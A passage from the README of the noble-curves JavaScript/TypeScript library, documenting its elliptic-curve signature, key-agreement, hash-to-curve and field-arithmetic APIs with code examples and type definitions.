ensure correctness: property-based, cross-library and Wycheproof vectors, fuzzing +- ➰ Short Weierstrass, Edwards, Montgomery curves +- ✍️ ECDSA, EdDSA, Schnorr, BLS signature schemes, ECDH key agreement +- 🔖 SUF-CMA and SBS (non-repudiation) for ed25519, ed448 and others +- #️⃣ hash-to-curve for encoding or hashing an arbitrary string to an elliptic curve point +- 🧜‍♂️ Poseidon ZK-friendly hash + +### This library belongs to _noble_ crypto + +> **noble-crypto** — high-security, easily auditable set of contained cryptographic libraries and tools. + +- No dependencies, protection against supply chain attacks +- Auditable TypeScript / JS code +- Supported on all major platforms +- Releases are signed with PGP keys and built transparently with NPM provenance +- Check out [homepage](https://paulmillr.com/noble/) & all libraries: + [ciphers](https://github.com/paulmillr/noble-ciphers), + [curves](https://github.com/paulmillr/noble-curves), + [hashes](https://github.com/paulmillr/noble-hashes), + 4kb [secp256k1](https://github.com/paulmillr/noble-secp256k1) / + [ed25519](https://github.com/paulmillr/noble-ed25519) + +## Usage + +> npm install @noble/curves + +We support all major platforms and runtimes. +For [Deno](https://deno.land), ensure to use [npm specifier](https://deno.land/manual@v1.28.0/node/npm_specifiers). +For React Native, you may need a [polyfill for crypto.getRandomValues](https://github.com/LinusU/react-native-get-random-values). +If you don't like NPM, a standalone [noble-curves.js](https://github.com/paulmillr/noble-curves/releases) is also available. + +- [Implementations](#implementations) + - [ECDSA signature scheme](#ecdsa-signature-scheme) + - [ECDSA public key recovery & extra entropy](#ecdsa-public-key-recovery--extra-entropy) + - [ECDH (Elliptic Curve Diffie-Hellman)](#ecdh-elliptic-curve-diffie-hellman) + - [Schnorr signatures over secp256k1, BIP340](#schnorr-signatures-over-secp256k1-bip340) + - [ed25519, X25519, ristretto255](#ed25519-x25519-ristretto255) + - [ed448, X448, decaf448](#ed448-x448-decaf448) + - [bls12-381](#bls12-381) + - [All available imports](#all-available-imports) + - [Accessing a curve's variables](#accessing-a-curves-variables) +- [Abstract API](#abstract-api) + - [abstract/weierstrass: Short Weierstrass curve](#abstractweierstrass-short-weierstrass-curve) + - [abstract/edwards: Twisted Edwards curve](#abstractedwards-twisted-edwards-curve) + - [abstract/montgomery: Montgomery curve](#abstractmontgomery-montgomery-curve) + - [abstract/bls: Barreto-Lynn-Scott curves](#abstractbls-barreto-lynn-scott-curves) + - [abstract/hash-to-curve: Hashing strings to curve points](#abstracthash-to-curve-hashing-strings-to-curve-points) + - [abstract/poseidon: Poseidon hash](#abstractposeidon-poseidon-hash) + - [abstract/modular: Modular arithmetics utilities](#abstractmodular-modular-arithmetics-utilities) + - [Creating private keys from hashes](#creating-private-keys-from-hashes) + - [abstract/utils: Useful utilities](#abstractutils-useful-utilities) +- [Security](#security) +- [Speed](#speed) +- [Contributing & testing](#contributing--testing) +- [Upgrading](#upgrading) +- [Resources](#resources) + - [Demos](#demos) + - [Projects using curves](#projects-using-curves) +- [License](#license) + +### Implementations + +Implementations are utilizing [noble-hashes](https://github.com/paulmillr/noble-hashes). +[Abstract API](#abstract-api) doesn't depend on them: you can use a different hashing library. + +#### ECDSA signature scheme + +Generic example that works for all curves, shown for secp256k1: + +```ts +// import * from '@noble/curves'; // Error: use sub-imports, to ensure small app size +import { secp256k1 } from '@noble/curves/secp256k1'; // ESM and Common.js +// import { secp256k1 } from 'npm:@noble/curves@1.2.0/secp256k1'; // Deno +const priv = secp256k1.utils.randomPrivateKey(); +const pub = secp256k1.getPublicKey(priv); +const msg = new Uint8Array(32).fill(1); // message hash (not message) in ecdsa +const sig = secp256k1.sign(msg, priv); // `{prehash: true}` option is available +const isValid = secp256k1.verify(sig, msg, pub) === true; + +// hex strings are also supported besides Uint8Arrays: +const privHex = '46c930bc7bb4db7f55da20798697421b98c4175a52c630294d75a84b9c126236'; +const pub2 = secp256k1.getPublicKey(privHex); +``` + +#### ECDSA public key recovery & extra entropy + +```ts +sig.recoverPublicKey(msg).toRawBytes(); // === pub; // public key recovery + +// extraEntropy https://moderncrypto.org/mail-archive/curves/2017/000925.html +const sigImprovedSecurity = secp256k1.sign(msg, priv, { extraEntropy: true }); +``` + +#### ECDH (Elliptic Curve Diffie-Hellman) + +```ts +// 1. The output includes parity byte. Strip it using shared.slice(1) +// 2. The output is not hashed. More secure way is sha256(shared) or hkdf(shared) +const someonesPub = secp256k1.getPublicKey(secp256k1.utils.randomPrivateKey()); +const shared = secp256k1.getSharedSecret(priv, someonesPub); +``` + +#### Schnorr signatures over secp256k1 (BIP340) + +```ts +import { schnorr } from '@noble/curves/secp256k1'; +const priv = schnorr.utils.randomPrivateKey(); +const pub = schnorr.getPublicKey(priv); +const msg = new TextEncoder().encode('hello'); +const sig = schnorr.sign(msg, priv); +const isValid = schnorr.verify(sig, msg, pub); +``` + +#### ed25519, X25519, ristretto255 + +```ts +import { ed25519 } from '@noble/curves/ed25519'; +const priv = ed25519.utils.randomPrivateKey(); +const pub = ed25519.getPublicKey(priv); +const msg = new TextEncoder().encode('hello'); +const sig = ed25519.sign(msg, priv); +ed25519.verify(sig, msg, pub); // Default mode: follows ZIP215 +ed25519.verify(sig, msg, pub, { zip215: false }); // RFC8032 / FIPS 186-5 +``` + +Default `verify` behavior follows [ZIP215](https://zips.z.cash/zip-0215) and +[can be used in consensus-critical applications](https://hdevalence.ca/blog/2020-10-04-its-25519am). +It has SUF-CMA (strong unforgeability under chosen message attacks). +`zip215: false` option switches verification criteria to strict +[RFC8032](https://www.rfc-editor.org/rfc/rfc8032) / [FIPS 186-5](https://csrc.nist.gov/publications/detail/fips/186/5/final) +and additionally provides non-repudiation with SBS [(Strongly Binding Signatures)](https://eprint.iacr.org/2020/1244). + +X25519 follows [RFC7748](https://www.rfc-editor.org/rfc/rfc7748). + +```ts +// Variants from RFC8032: with context, prehashed +import { ed25519ctx, ed25519ph } from '@noble/curves/ed25519'; + +// ECDH using curve25519 aka x25519 +import { x25519 } from '@noble/curves/ed25519'; +const priv = 'a546e36bf0527c9d3b16154b82465edd62144c0ac1fc5a18506a2244ba449ac4'; +const pub = 'e6db6867583030db3594c1a424b15f7c726624ec26b3353b10a903a6d0ab1c4c'; +x25519.getSharedSecret(priv, pub) === x25519.scalarMult(priv, pub); // aliases +x25519.getPublicKey(priv) === x25519.scalarMultBase(priv); +x25519.getPublicKey(x25519.utils.randomPrivateKey()); + +// ed25519 => x25519 conversion +import { edwardsToMontgomeryPub, edwardsToMontgomeryPriv } from '@noble/curves/ed25519'; +edwardsToMontgomeryPub(ed25519.getPublicKey(ed25519.utils.randomPrivateKey())); +edwardsToMontgomeryPriv(ed25519.utils.randomPrivateKey()); +``` + +ristretto255 follows [irtf draft](https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448). + +```ts +// hash-to-curve, ristretto255 +import { utf8ToBytes } from '@noble/hashes/utils'; +import { sha512 } from '@noble/hashes/sha512'; +import { + hashToCurve, + encodeToCurve, + RistrettoPoint, + hashToRistretto255, +} from '@noble/curves/ed25519'; + +const msg = utf8ToBytes('Ristretto is traditionally a short shot of espresso coffee'); +hashToCurve(msg); + +const rp = RistrettoPoint.fromHex( + '6a493210f7499cd17fecb510ae0cea23a110e8d5b901f8acadd3095c73a3b919' +); +RistrettoPoint.BASE.multiply(2n).add(rp).subtract(RistrettoPoint.BASE).toRawBytes(); +RistrettoPoint.ZERO.equals(dp) === false; +// pre-hashed hash-to-curve +RistrettoPoint.hashToCurve(sha512(msg)); +// full hash-to-curve including domain separation tag +hashToRistretto255(msg, { DST: 'ristretto255_XMD:SHA-512_R255MAP_RO_' }); +``` + +#### ed448, X448, decaf448 + +```ts +import { ed448 } from '@noble/curves/ed448'; +const priv = ed448.utils.randomPrivateKey(); +const pub = ed448.getPublicKey(priv); +const msg = new TextEncoder().encode('whatsup'); +const sig = ed448.sign(msg, priv); +ed448.verify(sig, msg, pub); + +// Variants from RFC8032: prehashed +import { ed448ph } from '@noble/curves/ed448'; +``` + +ECDH using Curve448 aka X448, follows [RFC7748](https://www.rfc-editor.org/rfc/rfc7748). + +```ts +import { x448 } from '@noble/curves/ed448'; +x448.getSharedSecret(priv, pub) === x448.scalarMult(priv, pub); // aliases +x448.getPublicKey(priv) === x448.scalarMultBase(priv); + +// ed448 => x448 conversion +import { edwardsToMontgomeryPub } from '@noble/curves/ed448'; +edwardsToMontgomeryPub(ed448.getPublicKey(ed448.utils.randomPrivateKey())); +``` + +decaf448 follows [irtf draft](https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448). + +```ts +import { utf8ToBytes } from '@noble/hashes/utils'; +import { shake256 } from '@noble/hashes/sha3'; +import { hashToCurve, encodeToCurve, DecafPoint, hashToDecaf448 } from '@noble/curves/ed448'; + +const msg = utf8ToBytes('Ristretto is traditionally a short shot of espresso coffee'); +hashToCurve(msg); + +const dp = DecafPoint.fromHex( + 'c898eb4f87f97c564c6fd61fc7e49689314a1f818ec85eeb3bd5514ac816d38778f69ef347a89fca817e66defdedce178c7cc709b2116e75' +); +DecafPoint.BASE.multiply(2n).add(dp).subtract(DecafPoint.BASE).toRawBytes(); +DecafPoint.ZERO.equals(dp) === false; +// pre-hashed hash-to-curve +DecafPoint.hashToCurve(shake256(msg, { dkLen: 112 })); +// full hash-to-curve including domain separation tag +hashToDecaf448(msg, { DST: 'decaf448_XOF:SHAKE256_D448MAP_RO_' }); +``` + +Same RFC7748 / RFC8032 / IRTF draft are followed. + +#### bls12-381 + +See [abstract/bls](#abstractbls-barreto-lynn-scott-curves). + +#### All available imports + +```typescript +import { secp256k1, schnorr } from '@noble/curves/secp256k1'; +import { ed25519, ed25519ph, ed25519ctx, x25519, RistrettoPoint } from '@noble/curves/ed25519'; +import { ed448, ed448ph, ed448ctx, x448 } from '@noble/curves/ed448'; +import { p256 } from '@noble/curves/p256'; +import { p384 } from '@noble/curves/p384'; +import { p521 } from '@noble/curves/p521'; +import { pallas, vesta } from '@noble/curves/pasta'; +import { bls12_381 } from '@noble/curves/bls12-381'; +import { bn254 } from '@noble/curves/bn254'; // also known as alt_bn128 +import { jubjub } from '@noble/curves/jubjub'; +import { bytesToHex, hexToBytes, concatBytes, utf8ToBytes } from '@noble/curves/abstract/utils'; +``` + +#### Accessing a curve's variables + +```ts +import { secp256k1 } from '@noble/curves/secp256k1'; +// Every curve has `CURVE` object that contains its parameters, field, and others +console.log(secp256k1.CURVE.p); // field modulus +console.log(secp256k1.CURVE.n); // curve order +console.log(secp256k1.CURVE.a, secp256k1.CURVE.b); // equation params +console.log(secp256k1.CURVE.Gx, secp256k1.CURVE.Gy); // base point coordinates +``` + +## Abstract API + +Abstract API allows to define custom curves. All arithmetics is done with JS +bigints over finite fields, which is defined from `modular` sub-module. For +scalar multiplication, we use +[precomputed tables with w-ary non-adjacent form (wNAF)](https://paulmillr.com/posts/noble-secp256k1-fast-ecc/). +Precomputes are enabled for weierstrass and edwards BASE points of a curve. You +could precompute any other point (e.g. for ECDH) using `utils.precompute()` +method: check out examples. + +### abstract/weierstrass: Short Weierstrass curve + +```ts +import { weierstrass } from '@noble/curves/abstract/weierstrass'; +import { Field } from '@noble/curves/abstract/modular'; // finite field for mod arithmetics +import { sha256 } from '@noble/hashes/sha256'; // 3rd-party sha256() of type utils.CHash +import { hmac } from '@noble/hashes/hmac'; // 3rd-party hmac() that will accept sha256() +import { concatBytes, randomBytes } from '@noble/hashes/utils'; // 3rd-party utilities +const secq256k1 = weierstrass({ + // secq256k1: cycle of secp256k1 with Fp/N flipped. + // https://personaelabs.org/posts/spartan-ecdsa + // https://zcash.github.io/halo2/background/curves.html#cycles-of-curves + a: 0n, + b: 7n, + Fp: Field(2n ** 256n - 432420386565659656852420866394968145599n), + n: 2n ** 256n - 2n ** 32n - 2n ** 9n - 2n ** 8n - 2n ** 7n - 2n ** 6n - 2n ** 4n - 1n, + Gx: 55066263022277343669578718895168534326250603453777594175500187360389116729240n, + Gy: 32670510020758816978083085130507043184471273380659243275938904335757337482424n, + hash: sha256, + hmac: (key: Uint8Array, ...msgs: Uint8Array[]) => hmac(sha256, key, concatBytes(...msgs)), + randomBytes, +}); + +// Replace weierstrass() with weierstrassPoints() if you don't need ECDSA, hash, hmac, randomBytes +``` + +Short Weierstrass curve's formula is `y² = x³ + ax + b`. `weierstrass` +expects arguments `a`, `b`, field `Fp`, curve order `n`, cofactor `h` +and coordinates `Gx`, `Gy` of generator point. + +**`k` generation** is done deterministically, following +[RFC6979](https://www.rfc-editor.org/rfc/rfc6979). For this you will need +`hmac` & `hash`, which in our implementations is provided by noble-hashes. If +you're using different hashing library, make sure to wrap it in the following interface: + +```ts +type CHash = { + (message: Uint8Array): Uint8Array; + blockLen: number; + outputLen: number; + create(): any; +}; +``` + +**Message hash** is expected instead of message itself: + +- `sign(msgHash, privKey)` is default behavior, assuming you pre-hash msg with sha2, or other hash +- `sign(msg, privKey, {prehash: true})` option can be used if you want to pass the message itself + +**Weierstrass points:** + +1. Exported as `ProjectivePoint` +2. Represented in projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z) +3. Use complete exception-free formulas for addition and doubling +4. Can be decoded/encoded from/to Uint8Array / hex strings using + `ProjectivePoint.fromHex` and `ProjectivePoint#toRawBytes()` +5. Have `assertValidity()` which checks for being on-curve +6. Have `toAffine()` and `x` / `y` getters which convert to 2d xy affine coordinates + +```ts +// `weierstrassPoints()` returns `CURVE` and `ProjectivePoint` +// `weierstrass()` returns `CurveFn` +type SignOpts = { lowS?: boolean; prehash?: boolean; extraEntropy: boolean | Uint8Array }; +type CurveFn = { + CURVE: ReturnType; + getPublicKey: (privateKey: PrivKey, isCompressed?: boolean) => Uint8Array; + getSharedSecret: (privateA: PrivKey, publicB: Hex, isCompressed?: boolean) => Uint8Array; + sign: (msgHash: Hex, privKey: PrivKey, opts?: SignOpts) => SignatureType; + verify: ( + signature: Hex | SignatureType, + msgHash: Hex, + publicKey: Hex, + opts?: { lowS?: boolean; prehash?: boolean } + ) => boolean; + ProjectivePoint: ProjectivePointConstructor; + Signature: SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: PrivKey) => bigint; + isValidPrivateKey(key: PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number, point?: ProjPointType) => ProjPointType; + }; +}; + +// T is usually bigint, but can be something else like complex numbers in BLS curves +interface ProjPointType extends Group> { + readonly px: T; + readonly py: T; + readonly pz: T; + get x(): bigint; + get y(): bigint; + multiply(scalar: bigint): ProjPointType; + multiplyUnsafe(scalar: bigint): ProjPointType; + multiplyAndAddUnsafe(Q: ProjPointType, a: bigint, b: bigint): ProjPointType | undefined; + toAffine(iz?: T): AffinePoint; + isTorsionFree(): boolean; + clearCofactor(): ProjPointType; + assertValidity(): void; + hasEvenY(): boolean; + toRawBytes(isCompressed?: boolean): Uint8Array; + toHex(isCompressed?: boolean): string; +} +// Static methods for 3d XYZ points +interface ProjConstructor extends GroupConstructor> { + new (x: T, y: T, z: T): ProjPointType; + fromAffine(p: AffinePoint): ProjPointType; + fromHex(hex: Hex): ProjPointType; + fromPrivateKey(privateKey: PrivKey): ProjPointType; +} +``` + +**ECDSA signatures** are represented by `Signature` instances and can be +described by the interface: + +```ts +interface SignatureType { + readonly r: bigint; + readonly s: bigint; + readonly recovery?: number; + assertValidity(): void; + addRecoveryBit(recovery: number): SignatureType; + hasHighS(): boolean; + normalizeS(): SignatureType; + recoverPublicKey(msgHash: Hex): ProjPointType; + toCompactRawBytes(): Uint8Array; + toCompactHex(): string; + // DER-encoded + toDERRawBytes(): Uint8Array; + toDERHex(): string; +} +type SignatureConstructor = { + new (r: bigint, s: bigint): SignatureType; + fromCompact(hex: Hex): SignatureType; + fromDER(hex: Hex): SignatureType; +}; +``` + +More examples: + +```typescript +// All curves expose same generic interface. +const priv = secq256k1.utils.randomPrivateKey(); +secq256k1.getPublicKey(priv); // Convert private key to public. +const sig = secq256k1.sign(msg, priv); // Sign msg with private key. +const sig2 = secq256k1.sign(msg, priv, { prehash: true }); // hash(msg) +secq256k1.verify(sig, msg, priv); // Verify if sig is correct. + +const Point = secq256k1.ProjectivePoint; +const point = Point.BASE; // Elliptic curve Point class and BASE point static var. +point.add(point).equals(point.double()); // add(), equals(), double() methods +point.subtract(point).equals(Point.ZERO); // subtract() method, ZERO static var +point.negate(); // Flips point over x/y coordinate. +point.multiply(31415n); // Multiplication of Point by scalar. + +point.assertValidity(); // Checks for being on-curve +point.toAffine(); // Converts to 2d affine xy coordinates + +secq256k1.CURVE.n; +secq256k1.CURVE.p; +secq256k1.CURVE.Fp.mod(); +secq256k1.CURVE.hash(); + +// precomputes +const fast = secq256k1.utils.precompute(8, Point.fromHex(someonesPubKey)); +fast.multiply(privKey); // much faster ECDH now +``` + +### abstract/edwards: Twisted Edwards curve + +```ts +import { twistedEdwards } from '@noble/curves/abstract/edwards'; +import { Field } from '@noble/curves/abstract/modular'; +import { sha512 } from '@noble/hashes/sha512'; +import { randomBytes } from '@noble/hashes/utils'; + +const Fp = Field(2n ** 255n - 19n); +const ed25519 = twistedEdwards({ + a: Fp.create(-1n), + d: Fp.div(-121665n, 121666n), // -121665n/121666n mod p + Fp: Fp, + n: 2n ** 252n + 27742317777372353535851937790883648493n, + h: 8n, + Gx: 15112221349535400772501151409588531511454012693041857206046113283949847762202n, + Gy: 46316835694926478169428394003475163141307993866256225615783033603165251855960n, + hash: sha512, + randomBytes, + adjustScalarBytes(bytes) { + // optional; but mandatory in ed25519 + bytes[0] &= 248; + bytes[31] &= 127; + bytes[31] |= 64; + return bytes; + }, +} as const); +``` + +Twisted Edwards curve's formula is `ax² + y² = 1 + dx²y²`. You must specify `a`, `d`, field `Fp`, order `n`, cofactor `h` +and coordinates `Gx`, `Gy` of generator point. + +For EdDSA signatures, `hash` param required. `adjustScalarBytes` which instructs how to change private scalars could be specified. + +**Edwards points:** + +1. Exported as `ExtendedPoint` +2. Represented in extended coordinates: (x, y, z, t) ∋ (x=x/z, y=y/z) +3. Use complete exception-free formulas for addition and doubling +4. Can be decoded/encoded from/to Uint8Array / hex strings using `ExtendedPoint.fromHex` and `ExtendedPoint#toRawBytes()` +5. Have `assertValidity()` which checks for being on-curve +6. Have `toAffine()` and `x` / `y` getters which convert to 2d xy affine coordinates +7. Have `isTorsionFree()`, `clearCofactor()` and `isSmallOrder()` utilities to handle torsions + +```ts +// `twistedEdwards()` returns `CurveFn` of following type: +type CurveFn = { + CURVE: ReturnType; + getPublicKey: (privateKey: Hex) => Uint8Array; + sign: (message: Hex, privateKey: Hex, context?: Hex) => Uint8Array; + verify: (sig: SigType, message: Hex, publicKey: Hex, context?: Hex) => boolean; + ExtendedPoint: ExtPointConstructor; + utils: { + randomPrivateKey: () => Uint8Array; + getExtendedPublicKey: (key: PrivKey) => { + head: Uint8Array; + prefix: Uint8Array; + scalar: bigint; + point: PointType; + pointBytes: Uint8Array; + }; + }; +}; + +interface ExtPointType extends Group { + readonly ex: bigint; + readonly ey: bigint; + readonly ez: bigint; + readonly et: bigint; + get x(): bigint; + get y(): bigint; + assertValidity(): void; + multiply(scalar: bigint): ExtPointType; + multiplyUnsafe(scalar: bigint): ExtPointType; + isSmallOrder(): boolean; + isTorsionFree(): boolean; + clearCofactor(): ExtPointType; + toAffine(iz?: bigint): AffinePoint; + toRawBytes(isCompressed?: boolean): Uint8Array; + toHex(isCompressed?: boolean): string; +} +// Static methods of Extended Point with coordinates in X, Y, Z, T +interface ExtPointConstructor extends GroupConstructor { + new (x: bigint, y: bigint, z: bigint, t: bigint): ExtPointType; + fromAffine(p: AffinePoint): ExtPointType; + fromHex(hex: Hex): ExtPointType; + fromPrivateKey(privateKey: Hex): ExtPointType; +} +``` + +### abstract/montgomery: Montgomery curve + +```typescript +import { montgomery } from '@noble/curves/abstract/montgomery'; +import { Field } from '@noble/curves/abstract/modular'; + +const x25519 = montgomery({ + a: 486662n, + Gu: 9n, + Fp: Field(2n ** 255n - 19n), + montgomeryBits: 255, + nByteLength: 32, + // Optional param + adjustScalarBytes(bytes) { + bytes[0] &= 248; + bytes[31] &= 127; + bytes[31] |= 64; + return bytes; + }, +}); +``` + +The module contains methods for x-only ECDH on Curve25519 / Curve448 from RFC7748. +Proper Elliptic Curve Points are not implemented yet. + +You must specify curve params `Fp`, `a`, `Gu` coordinate of u, `montgomeryBits` and `nByteLength`. + +### abstract/bls: Barreto-Lynn-Scott curves + +The module abstracts BLS (Barreto-Lynn-Scott) pairing-friendly elliptic curve construction. +They allow to construct [zk-SNARKs](https://z.cash/technology/zksnarks/) and +use aggregated, batch-verifiable +[threshold signatures](https://medium.com/snigirev.stepan/bls-signatures-better-than-schnorr-5a7fe30ea716), +using Boneh-Lynn-Shacham signature scheme. + +The module doesn't expose `CURVE` property: use `G1.CURVE`, `G2.CURVE` instead. + +Main methods and properties are: + +- `getPublicKey(privateKey)` +- `sign(message, privateKey)` +- `verify(signature, message, publicKey)` +- `aggregatePublicKeys(publicKeys)` +- `aggregateSignatures(signatures)` +- `G1` and `G2` curves containing `CURVE` and `ProjectivePoint` +- `Signature` property with `fromHex`, `toHex` methods +- `fields` containing `Fp`, `Fp2`, `Fp6`, `Fp12`, `Fr` + +Right now we only implement BLS12-381 (compatible with ETH and others), +but in theory defining BLS12-377, BLS24 should be straightforward. An example: + +```ts +import { bls12_381 as bls } from '@noble/curves/bls12-381'; +const privateKey = '67d53f170b908cabb9eb326c3c337762d59289a8fec79f7bc9254b584b73265c'; +const message = '64726e3da8'; +const publicKey = bls.getPublicKey(privateKey); +const signature = bls.sign(message, privateKey); +const isValid = bls.verify(signature, message, publicKey); +console.log({ publicKey, signature, isValid }); + +// Sign 1 msg with 3 keys +const privateKeys = [ + '18f020b98eb798752a50ed0563b079c125b0db5dd0b1060d1c1b47d4a193e1e4', + 'ed69a8c50cf8c9836be3b67c7eeff416612d45ba39a5c099d48fa668bf558c9c', + '16ae669f3be7a2121e17d0c68c05a8f3d6bef21ec0f2315f1d7aec12484e4cf5', +]; +const messages = ['d2', '0d98', '05caf3']; +const publicKeys = privateKeys.map(bls.getPublicKey); +const signatures2 = privateKeys.map((p) => bls.sign(message, p)); +const aggPubKey2 = bls.aggregatePublicKeys(publicKeys); +const aggSignature2 = bls.aggregateSignatures(signatures2); +const isValid2 = bls.verify(aggSignature2, message, aggPubKey2); +console.log({ signatures2, aggSignature2, isValid2 }); + +// Sign 3 msgs with 3 keys +const signatures3 = privateKeys.map((p, i) => bls.sign(messages[i], p)); +const aggSignature3 = bls.aggregateSignatures(signatures3); +const isValid3 = bls.verifyBatch(aggSignature3, messages, publicKeys); +console.log({ publicKeys, signatures3, aggSignature3, isValid3 }); + +// Pairings, with and without final exponentiation +// bls.pairing(PointG1, PointG2); +// bls.pairing(PointG1, PointG2, false); +// bls.fields.Fp12.finalExponentiate(bls.fields.Fp12.mul(eGS, ePHm)); + +// Others +// bls.G1.ProjectivePoint.BASE, bls.G2.ProjectivePoint.BASE +// bls.fields.Fp, bls.fields.Fp2, bls.fields.Fp12, bls.fields.Fr + +// hash-to-curve examples can be seen below +``` + +Full types: + +```ts +getPublicKey: (privateKey: PrivKey) => Uint8Array; +sign: { + (message: Hex, privateKey: PrivKey): Uint8Array; + (message: ProjPointType, privateKey: PrivKey): ProjPointType; +}; +verify: ( + signature: Hex | ProjPointType, + message: Hex | ProjPointType, + publicKey: Hex | ProjPointType +) => boolean; +verifyBatch: ( + signature: Hex | ProjPointType, + messages: (Hex | ProjPointType)[], + publicKeys: (Hex | ProjPointType)[] +) => boolean; +aggregatePublicKeys: { + (publicKeys: Hex[]): Uint8Array; + (publicKeys: ProjPointType[]): ProjPointType; +}; +aggregateSignatures: { + (signatures: Hex[]): Uint8Array; + (signatures: ProjPointType[]): ProjPointType; +}; +millerLoop: (ell: [Fp2, Fp2, Fp2][], g1: [Fp, Fp]) => Fp12; +pairing: (P: ProjPointType, Q: ProjPointType, withFinalExponent?: boolean) => Fp12; +G1: CurvePointsRes & ReturnType>; +G2: CurvePointsRes & ReturnType>; +Signature: SignatureCoder; +params: { + x: bigint; + r: bigint; + G1b: bigint; + G2b: Fp2; +}; +fields: { + Fp: IField; + Fp2: IField; + Fp6: IField; + Fp12: IField; + Fr: IField; +}; +utils: { + randomPrivateKey: () => Uint8Array; + calcPairingPrecomputes: (p: AffinePoint) => [Fp2, Fp2, Fp2][]; +}; +``` + +### abstract/hash-to-curve: Hashing strings to curve points + +The module allows to hash arbitrary strings to elliptic curve points. Implements [RFC 9380](https://www.rfc-editor.org/rfc/rfc9380). + +Every curve has exported `hashToCurve` and `encodeToCurve` methods. You should always prefer `hashToCurve` for security: + +```ts +import { hashToCurve, encodeToCurve } from '@noble/curves/secp256k1'; +import { randomBytes } from '@noble/hashes/utils'; +hashToCurve('0102abcd'); +console.log(hashToCurve(randomBytes())); +console.log(encodeToCurve(randomBytes())); + +import { bls12_381 } from '@noble/curves/bls12-381'; +bls12_381.G1.hashToCurve(randomBytes(), { DST: 'another' }); +bls12_381.G2.hashToCurve(randomBytes(), { DST: 'custom' }); +``` + +Low-level methods from the spec: + +```ts +// produces a uniformly random byte string using a cryptographic hash function H that outputs b bits. +function expand_message_xmd( + msg: Uint8Array, + DST: Uint8Array, + lenInBytes: number, + H: CHash // For CHash see abstract/weierstrass docs section +): Uint8Array; +// produces a uniformly random byte string using an extendable-output function (XOF) H. +function expand_message_xof( + msg: Uint8Array, + DST: Uint8Array, + lenInBytes: number, + k: number, + H: CHash +): Uint8Array; +// Hashes arbitrary-length byte strings to a list of one or more elements of a finite field F +function hash_to_field(msg: Uint8Array, count: number, options: Opts): bigint[][]; + +/** + * * `DST` is a domain separation tag, defined in section 2.2.5 + * * `p` characteristic of F, where F is a finite field of characteristic p and order q = p^m + * * `m` is extension degree (1 for prime fields) + * * `k` is the target security target in bits (e.g. 128), from section 5.1 + * * `expand` is `xmd` (SHA2, SHA3, BLAKE) or `xof` (SHAKE, BLAKE-XOF) + * * `hash` conforming to `utils.CHash` interface, with `outputLen` / `blockLen` props + */ +type UnicodeOrBytes = string | Uint8Array; +type Opts = { + DST: UnicodeOrBytes; + p: bigint; + m: number; + k: number; + expand?: 'xmd' | 'xof'; + hash: CHash; +}; +``` + +### abstract/poseidon: Poseidon hash + +Implements [Poseidon](https://www.poseidon-hash.info) ZK-friendly hash. + +There are many poseidon variants with different constants. +We don't provide them: you should construct them manually. +Check out [micro-starknet](https://github.com/paulmillr/micro-starknet) package for a proper example. + +```ts +import { poseidon } from '@noble/curves/abstract/poseidon'; + +type PoseidonOpts = { + Fp: Field; + t: number; + roundsFull: number; + roundsPartial: number; + sboxPower?: number; + reversePartialPowIdx?: boolean; + mds: bigint[][]; + roundConstants: bigint[][]; +}; +const instance = poseidon(opts: PoseidonOpts); +``` + +### abstract/modular: Modular arithmetics utilities + +```ts +import * as mod from '@noble/curves/abstract/modular'; +const fp = mod.Field(2n ** 255n - 19n); // Finite field over 2^255-19 +fp.mul(591n, 932n); // multiplication +fp.pow(481n, 11024858120n); // exponentiation +fp.div(5n, 17n); // division: 5/17 mod 2^255-19 == 5 * invert(17) +fp.sqrt(21n); // square root + +// Generic non-FP utils are also available +mod.mod(21n, 10n); // 21 mod 10 == 1n; fixed version of 21 % 10 +mod.invert(17n, 10n); // invert(17) mod 10; modular multiplicative inverse +mod.invertBatch([1n, 2n, 4n], 21n); // => [1n, 11n, 16n] in one inversion +``` + +Field operations are not constant-time: they are using JS bigints, see [security](#security). +The fact is mostly irrelevant, but the important method to keep in mind is `pow`, +which may leak exponent bits, when used naïvely. + +`mod.Field` is always **field over prime**. Non-prime fields aren't supported for now. +We don't test for prime-ness for speed and because algorithms are probabilistic anyway. +Initializing a non-prime field could make your app suspectible to +DoS (infilite loop) on Tonelli-Shanks square root calculation. + +Unlike `mod.invert`, `mod.invertBatch` won't throw on `0`: make sure to throw an error yourself. + +#### Creating private keys from hashes + +You can't simply make a 32-byte private key from a 32-byte hash. +Doing so will make the key [biased](https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/). + +To make the bias negligible, we follow [FIPS 186-5 A.2](https://csrc.nist.gov/publications/detail/fips/186/5/final) +and [RFC 9380](https://www.rfc-editor.org/rfc/rfc9380#section-5.2). +This means, for 32-byte key, we would need 48-byte hash to get 2^-128 bias, which matches curve security level. + +`hashToPrivateScalar()` that hashes to **private key** was created for this purpose. +Use [abstract/hash-to-curve](#abstracthash-to-curve-hashing-strings-to-curve-points) +if you need to hash to **public key**. + +```ts +import { p256 } from '@noble/curves/p256'; +import { sha256 } from '@noble/hashes/sha256'; +import { hkdf } from '@noble/hashes/hkdf'; +const someKey = new Uint8Array(32).fill(2); // Needs to actually be random, not .fill(2) +const derived = hkdf(sha256, someKey, undefined, 'application', 48); // 48 bytes for 32-byte priv +const validPrivateKey = mod.hashToPrivateScalar(derived, p256.CURVE.n); +``` + +### abstract/utils: Useful utilities + +```ts +import * as utils from '@noble/curves/abstract/utils'; + +utils.bytesToHex(Uint8Array.from([0xde, 0xad, 0xbe, 0xef])); +utils.hexToBytes('deadbeef'); +utils.numberToHexUnpadded(123n); +utils.hexToNumber(); + +utils.bytesToNumberBE(Uint8Array.from([0xde, 0xad, 0xbe, 0xef])); +utils.bytesToNumberLE(Uint8Array.from([0xde, 0xad, 0xbe, 0xef])); +utils.numberToBytesBE(123n, 32); +utils.numberToBytesLE(123n, 64); + +utils.concatBytes(Uint8Array.from([0xde, 0xad]), Uint8Array.from([0xbe, 0xef])); +utils.nLength(255n); +utils.equalBytes(Uint8Array.from([0xde]), Uint8Array.from([0xde])); +``` + +## Security + +1. The library has been independently audited: + +- in Feb 2023 by [Trail of Bits](https://www.trailofbits.com): + 